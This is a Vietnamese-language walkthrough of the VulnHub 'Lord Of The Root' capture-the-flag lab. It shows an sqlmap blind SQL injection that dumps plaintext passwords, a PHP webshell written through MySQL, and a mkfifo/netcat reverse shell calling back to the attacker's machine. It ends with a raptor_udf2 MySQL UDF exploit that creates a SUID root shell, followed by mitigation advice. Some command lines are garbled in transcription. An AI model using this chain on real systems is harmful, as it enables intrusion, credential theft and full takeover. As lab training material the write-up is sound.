

LORD OF THE ROOT PENTEST WRITEUP

Lord Of The Root Lab Report

Thông tin bài lab

Lab ID	Lord Of The Root
Tên lab	Lord Of The Root - VulnHub
Platform / Source	CTF

Chi tiết lỗ hổng

Reconnaissance

Service Enumeration

```
(ncbachhhh@kali)-[~]
$ sudo arp-scan --localnet
[sudo] password for ncbachhhh:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:8f:2c:b4, IPv4: 192.168.100.128
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.100.1 00:50:56:c0:00:08 (Unknown)
192.168.100.2 00:50:56:fd:37:4a (Unknown)
192.168.100.133 00:0c:29:11:c4:be (Unknown)
192.168.100.254 00:50:56:ee:f3:d0 (Unknown)

6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.946 seconds (131.55 hosts/sec). 4 responded
```

Hình 01: Kết quả arp-scan cho ra ip 192.168.100.133

```
(ncbachhhh@kali)-[~]
$ ping 192.168.100.133
PING 192.168.100.133 (192.168.100.133) 56(84) bytes of data.
^C
--- 192.168.100.133 ping statistics ---
6 packets transmitted, 0 received, 100% packet loss, time 5147ms
```

Hình 02: Ping tới target nhưng có vẻ đã bị chặn ping

```
(ncbachhhh@kali)-[~]
$ nmap -sC -sV -p- -T4 192.168.100.133
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-09 20:52 +0700
Nmap scan report for 192.168.100.133
Host is up (0.025s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
|   2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
|   256  f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_  256  34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
MAC Address: 00:0C:29:11:C4:BE (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 220.25 seconds
```

Hình 03: Kết quả nmap chỉ cho ra cổng 22/SSH


```
(ncbachhhh@kali)-[~]
$ curl http://192.168.100.133:1337/978345210/index.php
<!DOCTYPE html>
<html>
<head>
<title>LOTR Login!</title>
</head>
<body>
<div id="main">
<h1>Welcome to the Gates of Mordor</h1>
<div id="login">
<form action="" method="post">
<label>User :</label>
<input id="name" name="username" placeholder="username" type="text"><br>
<label>Password :</label>
<input id="password" name="password" placeholder="*****" type="password">
<br>
<input name="submit" type="submit" value=" Login ">
<span></span>
</form>
</div>
</div>
</body>
</html>
```

Hình 11: Nội dung file là 1 form đăng nhập

Exploit Chain – SQL Injection to SSH Foothold to MySQL Privilege Escalation to Root

Attack Path

1. Ta thử SQL Injection bằng sqlmap

```
(ncbachhhh@kali)-[~]
$ sqlmap -u "http://192.168.100.133:1337/978345210/index.php" --data="username=admin&password=123&submit= Login " --batch --dbs --dbms=mysql --threads=10
```



<https://sqlmap.org>

Hình 12: sqlmap vào form đăng nhập

```
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 1311 FROM (SELECT(SLEEP(5)))domt) AND 'YdtK'='YdtK&password=123&submit= Login

[21:08:01] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[21:08:06] [INFO] confirming MySQL
[21:08:06] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[21:08:16] [INFO] adjusting time delay to 1 second due to good response times
[21:08:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9, PHP
back-end DBMS: MySQL >= 5.0.0
[21:08:16] [INFO] fetching database names
[21:08:16] [INFO] fetching number of databases
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[21:08:16] [INFO] resumed: 4
[21:08:16] [INFO] resuming partial value: i
[21:08:16] [INFO] retrieved: information_schema
[21:09:12] [INFO] retrieved: Webapp
[21:09:32] [INFO] retrieved: mysql
[21:09:40] [INFO] retrieved: performance_schema

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp

[21:10:44] [INFO] fetched data logged to text files under '/home/ncbachhhh/.local/share/sqlmap/output/192.168.100.133'
[*] ending @ 21:10:44 /2026-09-09/
```

Hình 13: Nhận lại 4 database của hệ thống

```
(ncbachhhh@kali)-[~]
$ sqlmap -u "http://192.168.100.133:1337/978345210/index.php" \
--data="username=admin&password=123&submit= Login " \
--batch -D Webapp --tables --dbms=mysql
```

{1.10.6#stable}

<https://sqlmap.org>

Hình 14: Tiếp tục thử với database Webapp

```
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND ($SELECT 1311 FROM (SELECT(SLEEP(5)))domt) AND 'YdtK'='YdtK&password=123&submit= Login

[21:11:28] [INFO] testing MySQL
[21:11:28] [INFO] confirming MySQL
[21:11:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP, Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.0
[21:11:28] [INFO] fetching tables for database: 'Webapp'
[21:11:28] [INFO] fetching number of tables for database 'Webapp'
[21:11:28] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[21:11:33] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[21:11:38] [INFO] retrieved:
[21:11:43] [INFO] adjusting time delay to 1 second due to good response times

Users
Database: Webapp
[1 table]
+-----+
| Users |
+-----+

[21:11:57] [INFO] fetched data logged to text files under '/home/ncbachhhh/.local/share/sqlmap/output/192.168.100.133'
[*] ending @ 21:11:57 /2026-09-09/
```

Hình 15: Thu thập được bảng Users

```
(ncbachhhh@kali)-[~]
$ sqlmap -u "http://192.168.100.133:1337/978345210/index.php" \
--data="username=admin&password=123&submit= Login " \
--batch -D Webapp -T Users --dump --dbms=mysql
```

{1.10.6#stable}

<https://sqlmap.org>

Hình 16: Thu thập thông tin users

Database: Webapp
Table: Users
[5 entries]

id	password	username
1	iwilltakethering	frodo
2	MyPreciousR00t	smeagol
3	AndMySword	aragorn
4	AndMyBow	legolas
5	AndMyAxe	gimli

Hình 17: Nhận được 5 user, đáng lưu ý nhất là user Smeagol với password có chữ R00t


```
smeagol@LordOfTheRoot:/var/www/978345210$ cd /tmp
smeagol@LordOfTheRoot:/tmp$ wget http://192.168.100.128:8000/linpeas.sh
--2026-09-09 08:23:09-- http://192.168.100.128:8000/linpeas.sh
Connecting to 192.168.100.128:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1161444 (1.1M) [application/x-sh]
Saving to: 'linpeas.sh'

100%[>] 1,161,444 --K/s in 0.02s

2026-09-09 08:23:09 (52.0 MB/s) - 'linpeas.sh' saved [1161444/1161444]

smeagol@LordOfTheRoot:/tmp$ chmod +x linpeas.sh
smeagol@LordOfTheRoot:/tmp$ ./linpeas.sh
```

Hình 22: Dùng máy target wget file linpeas.sh về thông qua cổng 8000, cấp quyền execute và khởi chạy

```
MySQL is running as root with version 5.5.44. This is a potential local privilege escalation vulnerability!
Refer to: https://www.exploit-db.com/exploits/1518
Refer to: https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf
Analyzing PGP-GPG Files (limit 70)
/usr/bin/gpg
netpgpkeys Not Found
netpgp Not Found
```

Hình 23: Phát hiện MySQL chạy với quyền root

```
mysql> SHOW VARIABLES LIKE 'secure_file_priv';
+-----+-----+
| Variable_name | Value |
+-----+-----+
| secure_file_priv |      |
+-----+-----+
1 row in set (0.01 sec)

mysql> SHOW VARIABLES LIKE 'plugin_dir';
+-----+-----+
| Variable_name | Value |
+-----+-----+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+-----+-----+
1 row in set (0.00 sec)
```

Hình 24: Kiểm tra phát hiện MySQL có quyền ghi vào thư mục /usr/lib/mysql/plugin/

```
smeagol@LordOfTheRoot:/tmp$ mysql -u root -p'darkshadow' -e "SELECT '<?php system($_GET['c']); ?>' INTO OUTFILE '/var/www/978345210/shell.php';"
smeagol@LordOfTheRoot:/tmp$ mysql -u root -p'darkshadow' -e "SELECT '<?php system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php';"
```

Hình 25: Dùng MySQL ghi 1 webshell vào hệ thống

```
(ncbachhhh@kali)-[~]
$ nc -lvp 4444
Listening on 0.0.0.0 4444
```

Hình 26: Cho máy attack dùng nc lắng nghe cổng 4444

```
smeagol@LordOfTheRoot:/tmp$ curl -s -G --data-urlencode "c=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 192.168.100.128 4444 >/tmp/f" \
> "http://127.0.0.1:1337/978345210/shell.php"
```

Hình 27: Thực thi reverse shell

```

(ncbachhhh@kali)-[~]
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.100.133 45820
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xtermwww-data@LordOfTheRoot:/var/www/978345210$
export TERM=xterm
www-data@LordOfTheRoot:/var/www/978345210$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@LordOfTheRoot:/var/www/978345210$ |

```

Hình 28: Thành công truy cập vào user www-data

```

cd /tmp
www-data@LordOfTheRoot:/tmp$ gcc -g -c -fPIC raptor_udf2.c -o raptor_udf2.o
gcc -g -c -fPIC raptor_udf2.c -o raptor_udf2.o
www-data@LordOfTheRoot:/tmp$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
www-data@LordOfTheRoot:/tmp$

```

Hình 29: Viết script raptor_udf2.p vào mục /tmp, sau đó compile bằng gcc

```

www-data@LordOfTheRoot:/tmp$ nm -D /tmp/raptor_udf2.so | grep do_system
nm -D /tmp/raptor_udf2.so | grep do_system
0000059a T do_system
00000595 T do_system_deinit
0000058b T do_system_init
www-data@LordOfTheRoot:/tmp$ mysql -u root -p'darkshadow' << 'SQL'
USE mysql;
DROP TABLE IF EXISTS foo;
CREATE TABLE foo(line blob);
INSERT INTO foo VALUES (LOAD_FILE('/usr/lib/mysql/plugin/raptor_udf2.so'));
> USE mysql;
> DROP TABLE IF EXISTS foo;
> CREATE TABLE foo(line blob);
> NTO foo VALUES (LOAD_FILE('/tmp/raptor_udf2.so'));
SELECT * FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf2.so';
> q!plugin/raptor_udf2.so';
DROP FUNCTION IF EXISTS do_system;
CREATE FUNCTION do_system RETURNS SELECT * FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf2.so';
> DROP FUNCTION IF EXISTS do_system;
> INTEGER SONAME 'raptor_udf2.so';
SELECT * FROM mysql.func;
SQLCREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
> SELECT * FROM mysql.func;
>
SQL
name      ret      dl      type
do_system      2      raptor_udf2.so  function
www-data@LordOfTheRoot:/tmp$

```

Hình 30: Trong file raptor_udf2 gồm 3 hàm do_system quan trọng, sau đó dùng mysql ghi vào /usr/lib/mysql

```

www-data@LordOfTheRoot:/tmp$ mysql -u root -p'darkshadow' -e "SELECT do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');"
cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash';"
+-----+
| do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash') |
+-----+
| 0 |
+-----+

```

Hình 31: Cấp quyền khởi chạy rootbash

```

www-data@LordOfTheRoot:/tmp$ /tmp/rootbash -p
/tmp/rootbash -p
rootbash-4.3# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
rootbash-4.3#

```

Hình 32: Kích hoạt /rootbash và có quyền root

```
rootbash-4.3# ls /root
ls /root
Flag.txt  buf  buf.c  other  other.c  switcher.py
rootbash-4.3# cat /root/Flag.txt
cat /root/Flag.txt
"There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power."
- Gandalf
rootbash-4.3# |
```

Hình 33: Đọc /root và có được Flag.txt

Mitigation

Dùng prepare-statement cho các câu query

Lưu mật khẩu bằng Bcrypt thay vì plaintext

Dùng biến environment cho các dữ liệu quan trọng (credential của mysql)

Chạy MySQL bằng quyền mysql, không cấp quyền ghi trên hệ thống

Rà soát và gỡ bỏ các SUID không cần thiết

Nâng cấp hệ điều hành lên phiên bản mới

Chặn thực thi file .php ở các thư mục không cần thiết